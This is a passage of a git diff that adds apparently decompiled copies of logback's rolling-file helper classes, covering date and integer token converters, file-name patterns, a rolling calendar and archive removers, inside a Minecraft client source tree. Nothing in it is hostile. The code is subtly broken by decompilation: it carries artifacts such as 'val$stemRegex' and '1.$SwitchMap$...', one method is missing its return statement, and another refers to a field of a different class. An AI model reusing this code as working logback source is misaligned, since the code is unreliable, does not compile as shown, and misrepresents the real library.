+  {
+    boolean result = FileUtil.createMissingParentDirectories(file);
+    if (!result) {
+      addError("Failed to create parent directories for [" + file.getAbsolutePath() + "]");
+    }
+  }
+  
+
+  public String toString()
+  {
+    return getClass().getName();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/DateTokenConverter.java b/src/minecraft/ch/qos/logback/core/rolling/helper/DateTokenConverter.java
new file mode 100644
index 0000000..426365b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/DateTokenConverter.java
@@ -0,0 +1,106 @@
+package ch.qos.logback.core.rolling.helper;
+
+import ch.qos.logback.core.pattern.DynamicConverter;
+import ch.qos.logback.core.util.CachingDateFormatter;
+import ch.qos.logback.core.util.DatePatternToRegexUtil;
+import java.util.Date;
+import java.util.List;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DateTokenConverter<E>
+  extends DynamicConverter<E>
+  implements MonoTypedConverter
+{
+  public static final String CONVERTER_KEY = "d";
+  public static final String AUXILIARY_TOKEN = "AUX";
+  public static final String DEFAULT_DATE_PATTERN = "yyyy-MM-dd";
+  private String datePattern;
+  private TimeZone timeZone;
+  private CachingDateFormatter cdf;
+  
+  public DateTokenConverter() {}
+  
+  private boolean primary = true;
+  
+  public void start() { datePattern = getFirstOption();
+    if (datePattern == null) {
+      datePattern = "yyyy-MM-dd";
+    }
+    
+    List<String> optionList = getOptionList();
+    if (optionList != null) {
+      for (int optionIndex = 1; optionIndex < optionList.size(); optionIndex++) {
+        String option = (String)optionList.get(optionIndex);
+        if ("AUX".equalsIgnoreCase(option)) {
+          primary = false;
+        } else {
+          timeZone = TimeZone.getTimeZone(option);
+        }
+      }
+    }
+    
+    cdf = new CachingDateFormatter(datePattern);
+    if (timeZone != null) {
+      cdf.setTimeZone(timeZone);
+    }
+  }
+  
+  public String convert(Date date) {
+    return cdf.format(date.getTime());
+  }
+  
+  public String convert(Object o) {
+    if (o == null) {
+      throw new IllegalArgumentException("Null argument forbidden");
+    }
+    if ((o instanceof Date)) {
+      return convert((Date)o);
+    }
+    throw new IllegalArgumentException("Cannot convert " + o + " of type" + o.getClass().getName());
+  }
+  
+
+
+  public String getDatePattern()
+  {
+    return datePattern;
+  }
+  
+  public TimeZone getTimeZone() {
+    return timeZone;
+  }
+  
+  public boolean isApplicable(Object o) {
+    return o instanceof Date;
+  }
+  
+  public String toRegex() {
+    DatePatternToRegexUtil datePatternToRegexUtil = new DatePatternToRegexUtil(datePattern);
+    return datePatternToRegexUtil.toRegex();
+  }
+  
+  public boolean isPrimary() {
+    return primary;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/DefaultArchiveRemover.java b/src/minecraft/ch/qos/logback/core/rolling/helper/DefaultArchiveRemover.java
new file mode 100644
index 0000000..b64809c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/DefaultArchiveRemover.java
@@ -0,0 +1,137 @@
+package ch.qos.logback.core.rolling.helper;
+
+import ch.qos.logback.core.pattern.Converter;
+import ch.qos.logback.core.pattern.LiteralConverter;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import java.io.File;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class DefaultArchiveRemover
+  extends ContextAwareBase
+  implements ArchiveRemover
+{
+  protected static final long UNINITIALIZED = -1L;
+  protected static final long INACTIVITY_TOLERANCE_IN_MILLIS = 5529600000L;
+  static final int MAX_VALUE_FOR_INACTIVITY_PERIODS = 336;
+  final FileNamePattern fileNamePattern;
+  final RollingCalendar rc;
+  int periodOffsetForDeletionTarget;
+  final boolean parentClean;
+  long lastHeartBeat = -1L;
+  
+  public DefaultArchiveRemover(FileNamePattern fileNamePattern, RollingCalendar rc)
+  {
+    this.fileNamePattern = fileNamePattern;
+    this.rc = rc;
+    parentClean = computeParentCleaningFlag(fileNamePattern);
+  }
+  
+  int computeElapsedPeriodsSinceLastClean(long nowInMillis)
+  {
+    long periodsElapsed = 0L;
+    if (lastHeartBeat == -1L) {
+      addInfo("first clean up after appender initialization");
+      periodsElapsed = rc.periodsElapsed(nowInMillis, nowInMillis + 5529600000L);
+      if (periodsElapsed > 336L)
+        periodsElapsed = 336L;
+    } else {
+      periodsElapsed = rc.periodsElapsed(lastHeartBeat, nowInMillis);
+      if (periodsElapsed < 1L) {
+        addWarn("Unexpected periodsElapsed value " + periodsElapsed);
+        periodsElapsed = 1L;
+      }
+    }
+    return (int)periodsElapsed;
+  }
+  
+  public void clean(Date now) {
+    long nowInMillis = now.getTime();
+    int periodsElapsed = computeElapsedPeriodsSinceLastClean(nowInMillis);
+    lastHeartBeat = nowInMillis;
+    if (periodsElapsed > 1) {
+      addInfo("periodsElapsed = " + periodsElapsed);
+    }
+    for (int i = 0; i < periodsElapsed; i++) {
+      cleanByPeriodOffset(now, periodOffsetForDeletionTarget - i);
+    }
+  }
+  
+  abstract void cleanByPeriodOffset(Date paramDate, int paramInt);
+  
+  boolean computeParentCleaningFlag(FileNamePattern fileNamePattern) {
+    DateTokenConverter dtc = fileNamePattern.getPrimaryDateTokenConverter();
+    
+    if (dtc.getDatePattern().indexOf('/') != -1) {
+      return true;
+    }
+    
+
+
+    Converter<Object> p = headTokenConverter;
+    
+
+    while ((p != null) && 
+      (!(p instanceof DateTokenConverter)))
+    {
+
+      p = p.getNext();
+    }
+    
+    while (p != null) {
+      if ((p instanceof LiteralConverter)) {
+        String s = p.convert(null);
+        if (s.indexOf('/') != -1) {
+          return true;
+        }
+      }
+      p = p.getNext();
+    }
+    
+
+    return false;
+  }
+  
+  void removeFolderIfEmpty(File dir) {
+    removeFolderIfEmpty(dir, 0);
+  }
+  
+
+
+
+
+
+
+
+
+  private void removeFolderIfEmpty(File dir, int depth)
+  {
+    if (depth >= 3) {
+      return;
+    }
+    if ((dir.isDirectory()) && (FileFilterUtil.isEmptyDirectory(dir))) {
+      addInfo("deleting folder [" + dir + "]");
+      dir.delete();
+      removeFolderIfEmpty(dir.getParentFile(), depth + 1);
+    }
+  }
+  
+  public void setMaxHistory(int maxHistory) {
+    periodOffsetForDeletionTarget = (-maxHistory - 1);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/FileFilterUtil.java b/src/minecraft/ch/qos/logback/core/rolling/helper/FileFilterUtil.java
new file mode 100644
index 0000000..6d7e340
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/FileFilterUtil.java
@@ -0,0 +1,129 @@
+package ch.qos.logback.core.rolling.helper;
+
+import java.io.File;
+import java.io.FilenameFilter;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+public class FileFilterUtil
+{
+  public FileFilterUtil() {}
+  
+  public static void sortFileArrayByName(File[] fileArray)
+  {
+    Arrays.sort(fileArray, new Comparator() {
+      public int compare(File o1, File o2) {
+        String o1Name = o1.getName();
+        String o2Name = o2.getName();
+        return o1Name.compareTo(o2Name);
+      }
+    });
+  }
+  
+  public static void reverseSortFileArrayByName(File[] fileArray) {
+    Arrays.sort(fileArray, new Comparator() {
+      public int compare(File o1, File o2) {
+        String o1Name = o1.getName();
+        String o2Name = o2.getName();
+        return o2Name.compareTo(o1Name);
+      }
+    });
+  }
+  
+  public static String afterLastSlash(String sregex) {
+    int i = sregex.lastIndexOf('/');
+    if (i == -1) {
+      return sregex;
+    }
+    return sregex.substring(i + 1);
+  }
+  
+  public static boolean isEmptyDirectory(File dir)
+  {
+    if (!dir.isDirectory()) {
+      throw new IllegalArgumentException("[" + dir + "] must be a directory");
+    }
+    String[] filesInDir = dir.list();
+    if ((filesInDir == null) || (filesInDir.length == 0)) {
+      return true;
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static File[] filesInFolderMatchingStemRegex(File file, String stemRegex)
+  {
+    if (file == null) {
+      return new File[0];
+    }
+    if ((!file.exists()) || (!file.isDirectory())) {
+      return new File[0];
+    }
+    file.listFiles(new FilenameFilter() {
+      public boolean accept(File dir, String name) {
+        return name.matches(val$stemRegex);
+      }
+    });
+  }
+  
+  public static int findHighestCounter(File[] matchingFileArray, String stemRegex) {
+    int max = Integer.MIN_VALUE;
+    for (File aFile : matchingFileArray) {
+      int aCounter = extractCounter(aFile, stemRegex);
+      if (max < aCounter)
+        max = aCounter;
+    }
+    return max;
+  }
+  
+  public static int extractCounter(File file, String stemRegex) {
+    Pattern p = Pattern.compile(stemRegex);
+    String lastFileName = file.getName();
+    
+    Matcher m = p.matcher(lastFileName);
+    if (!m.matches()) {
+      throw new IllegalStateException("The regex [" + stemRegex + "] should match [" + lastFileName + "]");
+    }
+    
+    String counterAsStr = m.group(1);
+    return new Integer(counterAsStr).intValue();
+  }
+  
+  public static String slashify(String in) {
+    return in.replace('\\', '/');
+  }
+  
+
+  public static void removeEmptyParentDirectories(File file, int recursivityCount)
+  {
+    if (recursivityCount >= 3) {
+      return;
+    }
+    File parent = file.getParentFile();
+    if ((parent.isDirectory()) && (isEmptyDirectory(parent))) {
+      parent.delete();
+      removeEmptyParentDirectories(parent, recursivityCount + 1);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/FileNamePattern.java b/src/minecraft/ch/qos/logback/core/rolling/helper/FileNamePattern.java
new file mode 100644
index 0000000..77246c9
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/FileNamePattern.java
@@ -0,0 +1,199 @@
+package ch.qos.logback.core.rolling.helper;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.pattern.Converter;
+import ch.qos.logback.core.pattern.ConverterUtil;
+import ch.qos.logback.core.pattern.LiteralConverter;
+import ch.qos.logback.core.pattern.parser.Node;
+import ch.qos.logback.core.pattern.parser.Parser;
+import ch.qos.logback.core.pattern.util.AlmostAsIsEscapeUtil;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.ScanException;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FileNamePattern
+  extends ContextAwareBase
+{
+  static final Map<String, String> CONVERTER_MAP = new HashMap();
+  
+  static { CONVERTER_MAP.put("i", IntegerTokenConverter.class.getName());
+    
+    CONVERTER_MAP.put("d", DateTokenConverter.class.getName());
+  }
+  
+
+
+  String pattern;
+  
+  public FileNamePattern(String patternArg, Context contextArg)
+  {
+    setPattern(FileFilterUtil.slashify(patternArg));
+    setContext(contextArg);
+    parse();
+    ConverterUtil.startConverters(headTokenConverter);
+  }
+  
+
+
+  void parse()
+  {
+    try
+    {
+      String patternForParsing = escapeRightParantesis(pattern);
+      Parser<Object> p = new Parser(patternForParsing, new AlmostAsIsEscapeUtil());
+      p.setContext(context);
+      Node t = p.parse();
+      headTokenConverter = p.compile(t, CONVERTER_MAP);
+    }
+    catch (ScanException sce) {
+      addError("Failed to parse pattern \"" + pattern + "\".", sce);
+    }
+  }
+  
+  String escapeRightParantesis(String in) {
+    return pattern.replace(")", "\\)");
+  }
+  
+  public String toString() {
+    return pattern;
+  }
+  
+  public DateTokenConverter getPrimaryDateTokenConverter() {
+    Converter p = headTokenConverter;
+    
+    while (p != null) {
+      if ((p instanceof DateTokenConverter)) {
+        DateTokenConverter dtc = (DateTokenConverter)p;
+        
+        if (dtc.isPrimary()) {
+          return dtc;
+        }
+      }
+      p = p.getNext();
+    }
+    
+    return null;
+  }
+  
+  public IntegerTokenConverter getIntegerTokenConverter() {
+    Converter p = headTokenConverter;
+    
+    while (p != null) {
+      if ((p instanceof IntegerTokenConverter)) {
+        return (IntegerTokenConverter)p;
+      }
+      
+      p = p.getNext();
+    }
+    return null;
+  }
+  
+  public String convertMultipleArguments(Object... objectList) {
+    StringBuilder buf = new StringBuilder();
+    Converter<Object> c = headTokenConverter;
+    while (c != null) {
+      if ((c instanceof MonoTypedConverter)) {
+        MonoTypedConverter monoTyped = (MonoTypedConverter)c;
+        for (Object o : objectList) {
+          if (monoTyped.isApplicable(o)) {
+            buf.append(c.convert(o));
+          }
+        }
+      } else {
+        buf.append(c.convert(objectList));
+      }
+      c = c.getNext();
+    }
+    return buf.toString();
+  }
+  
+  public String convert(Object o) {
+    StringBuilder buf = new StringBuilder();
+    Converter<Object> p = headTokenConverter;
+    while (p != null) {
+      buf.append(p.convert(o));
+      p = p.getNext();
+    }
+    return buf.toString();
+  }
+  
+  public String convertInt(int i) {
+    return convert(Integer.valueOf(i));
+  }
+  
+  public void setPattern(String pattern) {
+    if (pattern != null)
+    {
+      this.pattern = pattern.trim();
+    }
+  }
+  
+  public String getPattern() {
+    return pattern;
+  }
+  
+
+
+  Converter<Object> headTokenConverter;
+  
+
+  public String toRegexForFixedDate(Date date)
+  {
+    StringBuilder buf = new StringBuilder();
+    Converter<Object> p = headTokenConverter;
+    while (p != null) {
+      if ((p instanceof LiteralConverter)) {
+        buf.append(p.convert(null));
+      } else if ((p instanceof IntegerTokenConverter)) {
+        buf.append("(\\d{1,3})");
+      } else if ((p instanceof DateTokenConverter)) {
+        buf.append(p.convert(date));
+      }
+      p = p.getNext();
+    }
+    return buf.toString();
+  }
+  
+
+
+  public String toRegex()
+  {
+    StringBuilder buf = new StringBuilder();
+    Converter<Object> p = headTokenConverter;
+    while (p != null) {
+      if ((p instanceof LiteralConverter)) {
+        buf.append(p.convert(null));
+      } else if ((p instanceof IntegerTokenConverter)) {
+        buf.append("\\d{1,2}");
+      } else if ((p instanceof DateTokenConverter)) {
+        DateTokenConverter<Object> dtc = (DateTokenConverter)p;
+        buf.append(dtc.toRegex());
+      }
+      p = p.getNext();
+    }
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/FileStoreUtil.java b/src/minecraft/ch/qos/logback/core/rolling/helper/FileStoreUtil.java
new file mode 100644
index 0000000..4456687
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/FileStoreUtil.java
@@ -0,0 +1,75 @@
+package ch.qos.logback.core.rolling.helper;
+
+import ch.qos.logback.core.rolling.RolloverFailure;
+import java.io.File;
+import java.lang.reflect.Method;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FileStoreUtil
+{
+  static final String PATH_CLASS_STR = "java.nio.file.Path";
+  static final String FILES_CLASS_STR = "java.nio.file.Files";
+  
+  public FileStoreUtil() {}
+  
+  public static boolean areOnSameFileStore(File a, File b)
+    throws RolloverFailure
+  {
+    if (!a.exists()) {
+      throw new IllegalArgumentException("File [" + a + "] does not exist.");
+    }
+    if (!b.exists()) {
+      throw new IllegalArgumentException("File [" + b + "] does not exist.");
+    }
+    
+
+
+
+
+
+
+
+
+    try
+    {
+      Class<?> pathClass = Class.forName("java.nio.file.Path");
+      Class<?> filesClass = Class.forName("java.nio.file.Files");
+      
+      Method toPath = File.class.getMethod("toPath", new Class[0]);
+      Method getFileStoreMethod = filesClass.getMethod("getFileStore", new Class[] { pathClass });
+      
+
+      Object pathA = toPath.invoke(a, new Object[0]);
+      Object pathB = toPath.invoke(b, new Object[0]);
+      
+      Object fileStoreA = getFileStoreMethod.invoke(null, new Object[] { pathA });
+      Object fileStoreB = getFileStoreMethod.invoke(null, new Object[] { pathB });
+      return fileStoreA.equals(fileStoreB);
+    } catch (Exception e) {
+      throw new RolloverFailure("Failed to check file store equality for [" + a + "] and [" + b + "]", e);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/IntegerTokenConverter.java b/src/minecraft/ch/qos/logback/core/rolling/helper/IntegerTokenConverter.java
new file mode 100644
index 0000000..2faaa9e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/IntegerTokenConverter.java
@@ -0,0 +1,46 @@
+package ch.qos.logback.core.rolling.helper;
+
+import ch.qos.logback.core.pattern.DynamicConverter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class IntegerTokenConverter
+  extends DynamicConverter
+  implements MonoTypedConverter
+{
+  public static final String CONVERTER_KEY = "i";
+  
+  public IntegerTokenConverter() {}
+  
+  public String convert(int i)
+  {
+    return Integer.toString(i);
+  }
+  
+  public String convert(Object o) {
+    if (o == null) {
+      throw new IllegalArgumentException("Null argument forbidden");
+    }
+    if ((o instanceof Integer)) {
+      Integer i = (Integer)o;
+      return convert(i.intValue());
+    }
+    throw new IllegalArgumentException("Cannot convert " + o + " of type" + o.getClass().getName());
+  }
+  
+  public boolean isApplicable(Object o) {
+    return o instanceof Integer;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/MonoTypedConverter.java b/src/minecraft/ch/qos/logback/core/rolling/helper/MonoTypedConverter.java
new file mode 100644
index 0000000..07bea25
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/MonoTypedConverter.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.rolling.helper;
+
+public abstract interface MonoTypedConverter
+{
+  public abstract boolean isApplicable(Object paramObject);
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/PeriodicityType.java b/src/minecraft/ch/qos/logback/core/rolling/helper/PeriodicityType.java
new file mode 100644
index 0000000..2761312
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/PeriodicityType.java
@@ -0,0 +1,25 @@
+package ch.qos.logback.core.rolling.helper;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public enum PeriodicityType
+{
+  ERRONEOUS,  TOP_OF_MILLISECOND,  TOP_OF_SECOND,  TOP_OF_MINUTE,  TOP_OF_HOUR,  HALF_DAY,  TOP_OF_DAY,  TOP_OF_WEEK,  TOP_OF_MONTH;
+  
+
+
+  static PeriodicityType[] VALID_ORDERED_LIST = { TOP_OF_MILLISECOND, TOP_OF_SECOND, TOP_OF_MINUTE, TOP_OF_HOUR, TOP_OF_DAY, TOP_OF_WEEK, TOP_OF_MONTH };
+  
+  private PeriodicityType() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/RenameUtil.java b/src/minecraft/ch/qos/logback/core/rolling/helper/RenameUtil.java
new file mode 100644
index 0000000..5179a9e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/RenameUtil.java
@@ -0,0 +1,133 @@
+package ch.qos.logback.core.rolling.helper;
+
+import ch.qos.logback.core.rolling.RollingFileAppender;
+import ch.qos.logback.core.rolling.RolloverFailure;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.util.EnvUtil;
+import ch.qos.logback.core.util.FileUtil;
+import java.io.File;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RenameUtil
+  extends ContextAwareBase
+{
+  static String RENAMING_ERROR_URL = "http://logback.qos.ch/codes.html#renamingError";
+  
+
+
+
+  public RenameUtil() {}
+  
+
+
+  public void rename(String src, String target)
+    throws RolloverFailure
+  {
+    if (src.equals(target)) {
+      addWarn("Source and target files are the same [" + src + "]. Skipping.");
+      return;
+    }
+    File srcFile = new File(src);
+    
+    if (srcFile.exists()) {
+      File targetFile = new File(target);
+      createMissingTargetDirsIfNecessary(targetFile);
+      
+      addInfo("Renaming file [" + srcFile + "] to [" + targetFile + "]");
+      
+      boolean result = srcFile.renameTo(targetFile);
+      
+      if (!result) {
+        addWarn("Failed to rename file [" + srcFile + "] as [" + targetFile + "].");
+        if (areOnDifferentVolumes(srcFile, targetFile)) {
+          addWarn("Detected different file systems for source [" + src + "] and target [" + target + "]. Attempting rename by copying.");
+          renameByCopying(src, target);
+          return;
+        }
+        addWarn("Please consider leaving the [file] option of " + RollingFileAppender.class.getSimpleName() + " empty.");
+        addWarn("See also " + RENAMING_ERROR_URL);
+      }
+    }
+    else {
+      throw new RolloverFailure("File [" + src + "] does not exist.");
+    }
+  }
+  
+
+
+
+
+
+
+
+  boolean areOnDifferentVolumes(File srcFile, File targetFile)
+    throws RolloverFailure
+  {
+    if (!EnvUtil.isJDK7OrHigher()) {
+      return false;
+    }
+    File parentOfTarget = targetFile.getParentFile();
+    try
+    {
+      boolean onSameFileStore = FileStoreUtil.areOnSameFileStore(srcFile, parentOfTarget);
+      return !onSameFileStore;
+    } catch (RolloverFailure rf) {
+      addWarn("Error while checking file store equality", rf); }
+    return false;
+  }
+  
+
+
+
+
+  public void renameByCopying(String src, String target)
+    throws RolloverFailure
+  {
+    FileUtil fileUtil = new FileUtil(getContext());
+    fileUtil.copy(src, target);
+    
+    File srcFile = new File(src);
+    if (!srcFile.delete()) {
+      addWarn("Could not delete " + src);
+    }
+  }
+  
+  void createMissingTargetDirsIfNecessary(File toFile) throws RolloverFailure
+  {
+    boolean result = FileUtil.createMissingParentDirectories(toFile);
+    if (!result) {
+      throw new RolloverFailure("Failed to create parent directories for [" + toFile.getAbsolutePath() + "]");
+    }
+  }
+  
+
+  public String toString()
+  {
+    return "c.q.l.co.rolling.helper.RenameUtil";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/RollingCalendar.java b/src/minecraft/ch/qos/logback/core/rolling/helper/RollingCalendar.java
new file mode 100644
index 0000000..d61ac64
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/RollingCalendar.java
@@ -0,0 +1,243 @@
+package ch.qos.logback.core.rolling.helper;
+
+import ch.qos.logback.core.spi.ContextAwareBase;
+import java.text.SimpleDateFormat;
+import java.util.Calendar;
+import java.util.Date;
+import java.util.GregorianCalendar;
+import java.util.Locale;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RollingCalendar
+  extends GregorianCalendar
+{
+  private static final long serialVersionUID = -5937537740925066161L;
+  static final TimeZone GMT_TIMEZONE = TimeZone.getTimeZone("GMT");
+  
+  PeriodicityType periodicityType = PeriodicityType.ERRONEOUS;
+  
+
+  public RollingCalendar() {}
+  
+  public RollingCalendar(TimeZone tz, Locale locale)
+  {
+    super(tz, locale);
+  }
+  
+  public void init(String datePattern) {
+    periodicityType = computePeriodicityType(datePattern);
+  }
+  
+  private void setPeriodicityType(PeriodicityType periodicityType) {
+    this.periodicityType = periodicityType;
+  }
+  
+  public PeriodicityType getPeriodicityType() {
+    return periodicityType;
+  }
+  
+  public long getNextTriggeringMillis(Date now) {
+    return getNextTriggeringDate(now).getTime();
+  }
+  
+
+
+
+
+
+
+
+  public PeriodicityType computePeriodicityType(String datePattern)
+  {
+    RollingCalendar rollingCalendar = new RollingCalendar(GMT_TIMEZONE, Locale.getDefault());
+    
+
+
+    Date epoch = new Date(0L);
+    
+    if (datePattern != null) {
+      for (PeriodicityType i : PeriodicityType.VALID_ORDERED_LIST) {
+        SimpleDateFormat simpleDateFormat = new SimpleDateFormat(datePattern);
+        simpleDateFormat.setTimeZone(GMT_TIMEZONE);
+        
+
+        String r0 = simpleDateFormat.format(epoch);
+        rollingCalendar.setPeriodicityType(i);
+        
+        Date next = new Date(rollingCalendar.getNextTriggeringMillis(epoch));
+        String r1 = simpleDateFormat.format(next);
+        
+
+        if ((r0 != null) && (r1 != null) && (!r0.equals(r1))) {
+          return i;
+        }
+      }
+    }
+    
+    return PeriodicityType.ERRONEOUS;
+  }
+  
+  public void printPeriodicity(ContextAwareBase cab) {
+    switch (1.$SwitchMap$ch$qos$logback$core$rolling$helper$PeriodicityType[periodicityType.ordinal()]) {
+    case 1: 
+      cab.addInfo("Roll-over every millisecond.");
+      break;
+    
+    case 2: 
+      cab.addInfo("Roll-over every second.");
+      break;
+    
+    case 3: 
+      cab.addInfo("Roll-over every minute.");
+      break;
+    
+    case 4: 
+      cab.addInfo("Roll-over at the top of every hour.");
+      break;
+    
+    case 5: 
+      cab.addInfo("Roll-over at midday and midnight.");
+      break;
+    
+    case 6: 
+      cab.addInfo("Roll-over at midnight.");
+      break;
+    
+    case 7: 
+      cab.addInfo("Rollover at the start of week.");
+      break;
+    
+    case 8: 
+      cab.addInfo("Rollover at start of every month.");
+      break;
+    
+    default: 
+      cab.addInfo("Unknown periodicity.");
+    }
+  }
+  
+  public long periodsElapsed(long start, long end) {
+    if (start > end) {
+      throw new IllegalArgumentException("Start cannot come before end");
+    }
+    long diff = end - start;
+    switch (1.$SwitchMap$ch$qos$logback$core$rolling$helper$PeriodicityType[periodicityType.ordinal()])
+    {
+    case 1: 
+      return diff;
+    case 2: 
+      return diff / 1000L;
+    case 3: 
+      return diff / 60000L;
+    case 4: 
+      return (int)diff / 3600000;
+    case 6: 
+      return diff / 86400000L;
+    case 7: 
+      return diff / 604800000L;
+    case 8: 
+      return diffInMonths(start, end);
+    }
+    throw new IllegalStateException("Unknown periodicity type.");
+  }
+  
+  public static int diffInMonths(long startTime, long endTime)
+  {
+    if (startTime > endTime)
+      throw new IllegalArgumentException("startTime cannot be larger than endTime");
+    Calendar startCal = Calendar.getInstance();
+    startCal.setTimeInMillis(startTime);
+    Calendar endCal = Calendar.getInstance();
+    endCal.setTimeInMillis(endTime);
+    int yearDiff = endCal.get(1) - startCal.get(1);
+    int monthDiff = endCal.get(2) - startCal.get(2);
+    return yearDiff * 12 + monthDiff;
+  }
+  
+  public Date getRelativeDate(Date now, int periods) {
+    setTime(now);
+    
+    switch (1.$SwitchMap$ch$qos$logback$core$rolling$helper$PeriodicityType[periodicityType.ordinal()]) {
+    case 1: 
+      add(14, periods);
+      break;
+    
+    case 2: 
+      set(14, 0);
+      add(13, periods);
+      break;
+    
+    case 3: 
+      set(13, 0);
+      set(14, 0);
+      add(12, periods);
+      break;
+    
+    case 4: 
+      set(12, 0);
+      set(13, 0);
+      set(14, 0);
+      add(11, periods);
+      break;
+    
+    case 6: 
+      set(11, 0);
+      set(12, 0);
+      set(13, 0);
+      set(14, 0);
+      add(5, periods);
+      break;
+    
+    case 7: 
+      set(7, getFirstDayOfWeek());
+      set(11, 0);
+      set(12, 0);
+      set(13, 0);
+      set(14, 0);
+      add(3, periods);
+      break;
+    
+    case 8: 
+      set(5, 1);
+      set(11, 0);
+      set(12, 0);
+      set(13, 0);
+      set(14, 0);
+      add(2, periods);
+      break;
+    case 5: 
+    default: 
+      throw new IllegalStateException("Unknown periodicity type.");
+    }
+    
+    return getTime();
+  }
+  
+  public Date getNextTriggeringDate(Date now) {
+    return getRelativeDate(now, 1);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/SizeAndTimeBasedArchiveRemover.java b/src/minecraft/ch/qos/logback/core/rolling/helper/SizeAndTimeBasedArchiveRemover.java
new file mode 100644
index 0000000..45cd132
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/SizeAndTimeBasedArchiveRemover.java
@@ -0,0 +1,54 @@
+package ch.qos.logback.core.rolling.helper;
+
+import java.io.File;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SizeAndTimeBasedArchiveRemover
+  extends DefaultArchiveRemover
+{
+  public SizeAndTimeBasedArchiveRemover(FileNamePattern fileNamePattern, RollingCalendar rc)
+  {
+    super(fileNamePattern, rc);
+  }
+  
+  public void cleanByPeriodOffset(Date now, int periodOffset) {
+    Date dateOfPeriodToClean = rc.getRelativeDate(now, periodOffset);
+    
+    String regex = fileNamePattern.toRegexForFixedDate(dateOfPeriodToClean);
+    String stemRegex = FileFilterUtil.afterLastSlash(regex);
+    File archive0 = new File(fileNamePattern.convertMultipleArguments(new Object[] { dateOfPeriodToClean, Integer.valueOf(0) }));
+    
+
+
+    archive0 = archive0.getAbsoluteFile();
+    
+    File parentDir = archive0.getAbsoluteFile().getParentFile();
+    File[] matchingFileArray = FileFilterUtil.filesInFolderMatchingStemRegex(parentDir, stemRegex);
+    
+
+    for (File f : matchingFileArray) {
+      Date fileLastModified = rc.getRelativeDate(new Date(f.lastModified()), -1);
+      
+      if (fileLastModified.compareTo(dateOfPeriodToClean) <= 0) {
+        addInfo("deleting " + f);
+        f.delete();
+      }
+    }
+    
+    if (parentClean) {
+      removeFolderIfEmpty(parentDir);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/TimeBasedArchiveRemover.java b/src/minecraft/ch/qos/logback/core/rolling/helper/TimeBasedArchiveRemover.java
new file mode 100644
index 0000000..dbb0c7b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/rolling/helper/TimeBasedArchiveRemover.java
@@ -0,0 +1,48 @@
+package ch.qos.logback.core.rolling.helper;
+
+import java.io.File;
+import java.util.Date;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TimeBasedArchiveRemover
+  extends DefaultArchiveRemover
+{
+  public TimeBasedArchiveRemover(FileNamePattern fileNamePattern, RollingCalendar rc)
+  {
+    super(fileNamePattern, rc);
+  }
+  
+  protected void cleanByPeriodOffset(Date now, int periodOffset) {
+    Date date2delete = rc.getRelativeDate(now, periodOffset);
+    String filename = fileNamePattern.convert(date2delete);
+    File file2Delete = new File(filename);
+    if ((file2Delete.exists()) && (file2Delete.isFile())) {
+      Date fileLastModified = rc.getRelativeDate(new Date(file2Delete.lastModified()), -1);
+      
+      if (fileLastModified.compareTo(date2delete) <= 0) {
+        addInfo("deleting " + file2Delete);
+        file2Delete.delete();
+        
+        if (parentClean) {
+          removeFolderIfEmpty(file2Delete.getParentFile());
+        }
+      }
+    }
+  }
+  
+  public String toString()
+  {
+    return "c.q.l.core.rolling.helper.TimeBasedArchiveRemover";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/rolling/helper/TokenConverter.java b/src/minecraft/ch/qos/logback/core/rolling/helper/TokenConverter.java
